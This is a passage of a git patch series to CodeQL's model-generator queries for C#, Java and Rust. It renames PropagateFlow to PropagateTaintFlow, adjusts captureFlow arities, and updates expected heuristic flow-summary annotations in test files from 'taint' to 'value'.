a/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql +++ b/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql @@ -14,7 +14,7 @@ import PartialFlow::PartialPathGraph int explorationLimit() { result = 3 } -module PartialFlow = Heuristic::PropagateFlow::FlowExplorationFwd; +module PartialFlow = Heuristic::PropagateTaintFlow::FlowExplorationFwd; from PartialFlow::PartialPathNode source, PartialFlow::PartialPathNode sink, diff --git a/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql b/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql index e3de78767eaa..9d51b60ec2ec 100644 --- a/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql +++ b/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql @@ -11,15 +11,15 @@ import csharp import utils.modelgenerator.internal.CaptureModels import Heuristic -import PropagateFlow::PathGraph +import PropagateTaintFlow::PathGraph from - PropagateFlow::PathNode source, PropagateFlow::PathNode sink, DataFlowSummaryTargetApi api, - DataFlow::Node p, DataFlow::Node returnNodeExt + PropagateTaintFlow::PathNode source, PropagateTaintFlow::PathNode sink, + DataFlowSummaryTargetApi api, DataFlow::Node p, DataFlow::Node returnNodeExt where - PropagateFlow::flowPath(source, sink) and + PropagateTaintFlow::flowPath(source, sink) and p = source.getNode() and returnNodeExt = sink.getNode() and - exists(captureThroughFlow0(api, p, returnNodeExt)) + captureThroughFlow0(api, p, returnNodeExt) select sink.getNode(), source, sink, "There is flow from $@ to the $@.", source.getNode(), "parameter", sink.getNode(), "return value" diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql index 0d9e4cd52d9f..fe575790af0e 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql @@ -3,7 +3,7 @@ import utils.modelgenerator.internal.CaptureModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _) } + string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _, _) } string getKind() { result = "contentbased-summary" } } diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql index 24cb66e427e7..d8e71b5e7208 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql @@ -3,7 +3,7 @@ import utils.modelgenerator.internal.CaptureModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = Heuristic::captureFlow(c) } + string getCapturedModel(Callable c) { result = Heuristic::captureHeuristicFlow(c, _) } string getKind() { result = "heuristic-summary" } } diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs b/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs index f1dbc02512ab..382739b348e1 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs +++ b/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs @@ -19,22 +19,22 @@ public BasicFlow ReturnThis(object input) return this; } - // heuristic-summary=Models;BasicFlow;false;ReturnParam0;(System.String,System.Object);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;BasicFlow;false;ReturnParam0;(System.String,System.Object);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;BasicFlow;false;ReturnParam0;(System.String,System.Object);;Argument[0];ReturnValue;value;dfc-generated public string ReturnParam0(string input0, object input1) { return input0; } - // heuristic-summary=Models;BasicFlow;false;ReturnParam1;(System.String,System.Object);;Argument[1];ReturnValue;taint;df-generated + // heuristic-summary=Models;BasicFlow;false;ReturnParam1;(System.String,System.Object);;Argument[1];ReturnValue;value;df-generated // contentbased-summary=Models;BasicFlow;false;ReturnParam1;(System.String,System.Object);;Argument[1];ReturnValue;value;dfc-generated public object ReturnParam1(string input0, object input1) { return input1; } - // heuristic-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[0];ReturnValue;taint;df-generated - // heuristic-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[1];ReturnValue;taint;df-generated + // heuristic-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[0];ReturnValue;value;df-generated + // heuristic-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[1];ReturnValue;value;df-generated // contentbased-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[0];ReturnValue;value;dfc-generated // contentbased-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[1];ReturnValue;value;dfc-generated public object ReturnParamMultiple(object input0, object input1) @@ -133,35 +133,35 @@ public List ReturnFieldInAList() return new List { tainted }; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeArray;(System.String[]);;Argument[0].Element;ReturnValue;taint;df-generated + // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeArray;(System.String[]);;Argument[0].Element;ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnComplexTypeArray;(System.String[]);;Argument[0];ReturnValue;value;dfc-generated public string[] ReturnComplexTypeArray(string[] a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnBulkTypeList;(System.Collections.Generic.List);;Argument[0].Element;ReturnValue;taint;df-generated + // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnBulkTypeList;(System.Collections.Generic.List);;Argument[0].Element;ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnBulkTypeList;(System.Collections.Generic.List);;Argument[0];ReturnValue;value;dfc-generated public List ReturnBulkTypeList(List a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeDictionary;(System.Collections.Generic.Dictionary);;Argument[0].Element;ReturnValue;taint;df-generated + // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeDictionary;(System.Collections.Generic.Dictionary);;Argument[0].Element;ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnComplexTypeDictionary;(System.Collections.Generic.Dictionary);;Argument[0];ReturnValue;value;dfc-generated public Dictionary ReturnComplexTypeDictionary(Dictionary a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnUntypedArray;(System.Array);;Argument[0].Element;ReturnValue;taint;df-generated + // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnUntypedArray;(System.Array);;Argument[0].Element;ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnUntypedArray;(System.Array);;Argument[0];ReturnValue;value;dfc-generated public Array ReturnUntypedArray(Array a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnUntypedList;(System.Collections.IList);;Argument[0].Element;ReturnValue;taint;df-generated + // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnUntypedList;(System.Collections.IList);;Argument[0].Element;ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnUntypedList;(System.Collections.IList);;Argument[0];ReturnValue;value;dfc-generated public IList ReturnUntypedList(IList a) { @@ -202,7 +202,7 @@ public IEnumerableFlow(string s) tainted = s; } - // SPURIOUS-heuristic-summary=Models;IEnumerableFlow;false;ReturnIEnumerable;(System.Collections.Generic.IEnumerable);;Argument[0].Element;ReturnValue;taint;df-generated + // SPURIOUS-heuristic-summary=Models;IEnumerableFlow;false;ReturnIEnumerable;(System.Collections.Generic.IEnumerable);;Argument[0].Element;ReturnValue;value;df-generated // contentbased-summary=Models;IEnumerableFlow;false;ReturnIEnumerable;(System.Collections.Generic.IEnumerable);;Argument[0];ReturnValue;value;dfc-generated public IEnumerable ReturnIEnumerable(IEnumerable input) { @@ -256,7 +256,7 @@ public List ReturnFieldInGenericList() return new List { tainted }; } - // heuristic-summary=Models;GenericFlow;false;ReturnGenericParam;(S);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;GenericFlow;false;ReturnGenericParam;(S);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;GenericFlow;false;ReturnGenericParam;(S);;Argument[0];ReturnValue;value;dfc-generated public S ReturnGenericParam(S input) { @@ -280,7 +280,7 @@ public void AddToGenericList(List input, S data) public abstract class BaseClassFlow { - // heuristic-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;value;dfc-generated public virtual object ReturnParam(object input) { @@ -290,7 +290,7 @@ public virtual object ReturnParam(object input) public class DerivedClass1Flow : BaseClassFlow { - // heuristic-summary=Models;DerivedClass1Flow;false;ReturnParam1;(System.String,System.String);;Argument[1];ReturnValue;taint;df-generated + // heuristic-summary=Models;DerivedClass1Flow;false;ReturnParam1;(System.String,System.String);;Argument[1];ReturnValue;value;df-generated // contentbased-summary=Models;DerivedClass1Flow;false;ReturnParam1;(System.String,System.String);;Argument[1];ReturnValue;value;dfc-generated public string ReturnParam1(string input0, string input1) { @@ -300,14 +300,14 @@ public string ReturnParam1(string input0, string input1) public class DerivedClass2Flow : BaseClassFlow { - // heuristic-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;value;dfc-generated public override object ReturnParam(object input) { return input; } - // heuristic-summary=Models;DerivedClass2Flow;false;ReturnParam0;(System.String,System.Int32);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;DerivedClass2Flow;false;ReturnParam0;(System.String,System.Int32);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;DerivedClass2Flow;false;ReturnParam0;(System.String,System.Int32);;Argument[0];ReturnValue;value;dfc-generated public string ReturnParam0(string input0, int input1) { @@ -327,7 +327,7 @@ public OperatorFlow(object o) } // Flow Summary. - // heuristic-summary=Models;OperatorFlow;false;op_Addition;(Models.OperatorFlow,Models.OperatorFlow);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;OperatorFlow;false;op_Addition;(Models.OperatorFlow,Models.OperatorFlow);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;OperatorFlow;false;op_Addition;(Models.OperatorFlow,Models.OperatorFlow);;Argument[0];ReturnValue;value;dfc-generated public static OperatorFlow operator +(OperatorFlow a, OperatorFlow b) { @@ -368,7 +368,7 @@ public override bool Equals(object obj) return boolTainted; } - // heuristic-summary=Models;EqualsGetHashCodeNoFlow;false;Equals;(System.String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;EqualsGetHashCodeNoFlow;false;Equals;(System.String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;EqualsGetHashCodeNoFlow;false;Equals;(System.String);;Argument[0];ReturnValue;value;dfc-generated public string Equals(string s) { @@ -606,7 +606,7 @@ public abstract class BasePublic public class AImplBasePublic : BasePublic { - // heuristic-summary=Models;Inheritance+BasePublic;true;Id;(System.String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;Inheritance+BasePublic;true;Id;(System.String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;Inheritance+BasePublic;true;Id;(System.String);;Argument[0];ReturnValue;value;dfc-generated public override string Id(string x) { @@ -636,7 +636,7 @@ private abstract class C : IPublic2 public class BImpl : B { - // heuristic-summary=Models;Inheritance+IPublic1;true;Id;(System.String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;Inheritance+IPublic1;true;Id;(System.String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;Inheritance+IPublic1;true;Id;(System.String);;Argument[0];ReturnValue;value;dfc-generated public override string Id(string x) { @@ -646,7 +646,7 @@ public override string Id(string x) private class CImpl : C { - // heuristic-summary=Models;Inheritance+IPublic2;true;Id;(System.String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;Inheritance+IPublic2;true;Id;(System.String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;Inheritance+IPublic2;true;Id;(System.String);;Argument[0];ReturnValue;value;dfc-generated public override string Id(string x) { @@ -1035,14 +1035,14 @@ public override object GetValue() public class ParameterModifiers { // contentbased-summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated - // heuristic-summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated + // heuristic-summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];value;df-generated public void Copy(object key, out object value) { value = key; } // contentbased-summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated - // heuristic-summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated + // heuristic-summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];value;df-generated public void CopyToRef(object key, ref object value) { value = key; @@ -1062,7 +1062,7 @@ public void RefParamUse(ref object value) } // contentbased-summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;value;dfc-generated - // heuristic-summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;value;df-generated public object InReturn(in object v) { return v; From 07641e48ab693478c95448e565b2807ae631e781 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Tue, 29 Apr 2025 13:18:16 +0100 Subject: [PATCH 026/535] Java: Fixup queries and accept test changes. --- .../modelgenerator/CaptureContentSummaryModels.ql | 2 +- .../debug/CaptureSummaryModelsPartialPath.ql | 2 +- .../modelgenerator/debug/CaptureSummaryModelsPath.ql | 10 +++++----- .../dataflow/CaptureContentSummaryModels.ql | 2 +- .../dataflow/CaptureHeuristicSummaryModels.ql | 2 +- .../utils/modelgenerator/dataflow/p/FinalClass.java | 2 +- .../modelgenerator/dataflow/p/ImmutablePojo.java | 2 +- .../utils/modelgenerator/dataflow/p/Inheritance.java | 12 ++++++------ .../modelgenerator/dataflow/p/InnerClasses.java | 4 ++-- .../utils/modelgenerator/dataflow/p/MultiPaths.java | 2 +- .../modelgenerator/dataflow/p/MultipleImpl2.java | 2 +- .../modelgenerator/dataflow/p/MultipleImpls.java | 2 +- .../utils/modelgenerator/dataflow/p/ParamFlow.java | 6 +++--- 13 files changed, 25 insertions(+), 25 deletions(-) diff --git a/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index b1340e2c0d33..6d209a4c50d7 100644 --- a/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -9,5 +9,5 @@ import internal.CaptureModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _) +where flow = ContentSensitive::captureFlow(api, _, _) select flow order by flow diff --git a/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql b/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql index 8895fdaefbb3..16d202f27888 100644 --- a/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql +++ b/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql @@ -15,7 +15,7 @@ import PartialFlow::PartialPathGraph int explorationLimit() { result = 3 } -module PartialFlow = Heuristic::PropagateFlow::FlowExplorationFwd; +module PartialFlow = Heuristic::PropagateTaintFlow::FlowExplorationFwd; from PartialFlow::PartialPathNode source, PartialFlow::PartialPathNode sink, diff --git a/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql b/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql index 8f6bf1c1f531..57468f6ac051 100644 --- a/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql +++ b/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql @@ -12,15 +12,15 @@ import java import semmle.code.java.dataflow.DataFlow import utils.modelgenerator.internal.CaptureModels import Heuristic -import PropagateFlow::PathGraph +import PropagateTaintFlow::PathGraph from - PropagateFlow::PathNode source, PropagateFlow::PathNode sink, DataFlowSummaryTargetApi api, - DataFlow::Node p, DataFlow::Node returnNodeExt + PropagateTaintFlow::PathNode source, PropagateTaintFlow::PathNode sink, + DataFlowSummaryTargetApi api, DataFlow::Node p, DataFlow::Node returnNodeExt where - PropagateFlow::flowPath(source, sink) and + PropagateTaintFlow::flowPath(source, sink) and p = source.getNode() and returnNodeExt = sink.getNode() and - exists(captureThroughFlow0(api, p, returnNodeExt)) + captureThroughFlow0(api, p, returnNodeExt) select sink.getNode(), source, sink, "There is flow from $@ to the $@.", source.getNode(), "parameter", sink.getNode(), "return value" diff --git a/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql b/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql index 8dd23714fb79..1ee494a849a2 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql +++ b/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql @@ -3,7 +3,7 @@ import utils.modelgenerator.internal.CaptureModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _) } + string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _, _) } string getKind() { result = "contentbased-summary" } } diff --git a/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql b/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql index 45485a8009a5..6b07aa87da8d 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql +++ b/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql @@ -3,7 +3,7 @@ import utils.modelgenerator.internal.CaptureModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = Heuristic::captureFlow(c) } + string getCapturedModel(Callable c) { result = Heuristic::captureHeuristicFlow(c, _) } string getKind() { result = "heuristic-summary" } } diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/FinalClass.java b/java/ql/test/utils/modelgenerator/dataflow/p/FinalClass.java index 993248f9bf80..431140c51541 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/FinalClass.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/FinalClass.java @@ -4,7 +4,7 @@ public final class FinalClass { private static final String C = "constant"; - // heuristic-summary=p;FinalClass;false;returnsInput;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;FinalClass;false;returnsInput;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;FinalClass;false;returnsInput;(String);;Argument[0];ReturnValue;value;dfc-generated public String returnsInput(String input) { return input; diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/ImmutablePojo.java b/java/ql/test/utils/modelgenerator/dataflow/p/ImmutablePojo.java index 711d49cc1fc3..0f784ae859f8 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/ImmutablePojo.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/ImmutablePojo.java @@ -24,7 +24,7 @@ public long getX() { return x; } - // heuristic-summary=p;ImmutablePojo;false;or;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;ImmutablePojo;false;or;(String);;Argument[0];ReturnValue;value;df-generated // heuristic-summary=p;ImmutablePojo;false;or;(String);;Argument[this];ReturnValue;taint;df-generated // contentbased-summary=p;ImmutablePojo;false;or;(String);;Argument[0];ReturnValue;value;dfc-generated // contentbased-summary=p;ImmutablePojo;false;or;(String);;Argument[this].SyntheticField[p.ImmutablePojo.value];ReturnValue;value;dfc-generated diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/Inheritance.java b/java/ql/test/utils/modelgenerator/dataflow/p/Inheritance.java index 4253ee0d6ead..096c186cdc8a 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/Inheritance.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/Inheritance.java @@ -10,7 +10,7 @@ public abstract class BasePublic { } public class AImplBasePrivateImpl extends BasePrivate { - // heuristic-summary=p;Inheritance$AImplBasePrivateImpl;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$AImplBasePrivateImpl;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$AImplBasePrivateImpl;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { @@ -19,7 +19,7 @@ public String id(String s) { } public class AImplBasePublic extends BasePublic { - // heuristic-summary=p;Inheritance$BasePublic;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$BasePublic;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$BasePublic;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { @@ -60,7 +60,7 @@ private abstract class E implements IPrivate2 { } public class BImpl extends B { - // heuristic-summary=p;Inheritance$IPublic1;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$IPublic1;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$IPublic1;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { @@ -69,7 +69,7 @@ public String id(String s) { } public class CImpl extends C { - // heuristic-summary=p;Inheritance$C;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$C;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$C;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { @@ -78,7 +78,7 @@ public String id(String s) { } public class DImpl extends D { - // heuristic-summary=p;Inheritance$IPublic2;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$IPublic2;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$IPublic2;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { @@ -87,7 +87,7 @@ public String id(String s) { } public class EImpl extends E { - // heuristic-summary=p;Inheritance$EImpl;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$EImpl;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$EImpl;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/InnerClasses.java b/java/ql/test/utils/modelgenerator/dataflow/p/InnerClasses.java index 283bcfd5c6e2..e0db1227b48f 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/InnerClasses.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/InnerClasses.java @@ -9,14 +9,14 @@ public String no(String input) { } public class CaptureMe { - // heuristic-summary=p;InnerClasses$CaptureMe;true;yesCm;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;InnerClasses$CaptureMe;true;yesCm;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;InnerClasses$CaptureMe;true;yesCm;(String);;Argument[0];ReturnValue;value;dfc-generated public String yesCm(String input) { return input; } } - // heuristic-summary=p;InnerClasses;true;yes;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;InnerClasses;true;yes;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;InnerClasses;true;yes;(String);;Argument[0];ReturnValue;value;dfc-generated public String yes(String input) { return input; diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/MultiPaths.java b/java/ql/test/utils/modelgenerator/dataflow/p/MultiPaths.java index 11d2f8f76f83..fb03061eaaf7 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/MultiPaths.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/MultiPaths.java @@ -2,7 +2,7 @@ public class MultiPaths { - // heuristic-summary=p;MultiPaths;true;cond;(String,String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;MultiPaths;true;cond;(String,String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;MultiPaths;true;cond;(String,String);;Argument[0];ReturnValue;value;dfc-generated public String cond(String x, String other) { if (x == other) { diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpl2.java b/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpl2.java index d0fd31613d65..7256e5345baa 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpl2.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpl2.java @@ -16,7 +16,7 @@ public Object m(Object value) { } public class Impl2 implements IInterface { - // heuristic-summary=p;MultipleImpl2$IInterface;true;m;(Object);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;MultipleImpl2$IInterface;true;m;(Object);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;MultipleImpl2$IInterface;true;m;(Object);;Argument[0];ReturnValue;value;dfc-generated public Object m(Object value) { return value; diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpls.java b/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpls.java index 5bdbb47fa483..60e16fbeb165 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpls.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpls.java @@ -9,7 +9,7 @@ public static interface Strategy { } public static class Strat1 implements Strategy { - // heuristic-summary=p;MultipleImpls$Strategy;true;doSomething;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;MultipleImpls$Strategy;true;doSomething;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;MultipleImpls$Strategy;true;doSomething;(String);;Argument[0];ReturnValue;value;dfc-generated public String doSomething(String value) { return value; diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/ParamFlow.java b/java/ql/test/utils/modelgenerator/dataflow/p/ParamFlow.java index 81b9602e5577..4c9d7427d75d 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/ParamFlow.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/ParamFlow.java @@ -7,7 +7,7 @@ public class ParamFlow { - // heuristic-summary=p;ParamFlow;true;returnsInput;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;ParamFlow;true;returnsInput;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;ParamFlow;true;returnsInput;(String);;Argument[0];ReturnValue;value;dfc-generated public String returnsInput(String input) { return input; @@ -18,8 +18,8 @@ public int ignorePrimitiveReturnValue(String input) { return input.length(); } - // heuristic-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[0];ReturnValue;taint;df-generated - // heuristic-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[1];ReturnValue;taint;df-generated + // heuristic-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[0];ReturnValue;value;df-generated + // heuristic-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[1];ReturnValue;value;df-generated // contentbased-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[0];ReturnValue;value;dfc-generated // contentbased-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[1];ReturnValue;value;dfc-generated public String returnMultipleParameters(String one, String two) { From 775197372c8d0055e43c7479b5e6cdd56bf122a7 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Tue, 29 Apr 2025 13:18:27 +0100 Subject: [PATCH 027/535] Rust: Fixup queries. --- .../modelgenerator/CaptureContentSummaryModels.ql | 2 +- .../debug/CaptureSummaryModelsPartialPath.ql | 2 +- .../modelgenerator/debug/CaptureSummaryModelsPath.ql | 10 +++++----- .../utils-tests/modelgenerator/CaptureSummaryModels.ql | 2 +- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index da90465197e5..a19a1b2398c7 100644 --- a/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -9,5 +9,5 @@ import internal.CaptureModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _) +where flow = ContentSensitive::captureFlow(api, _, _) select flow order by flow diff --git a/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql 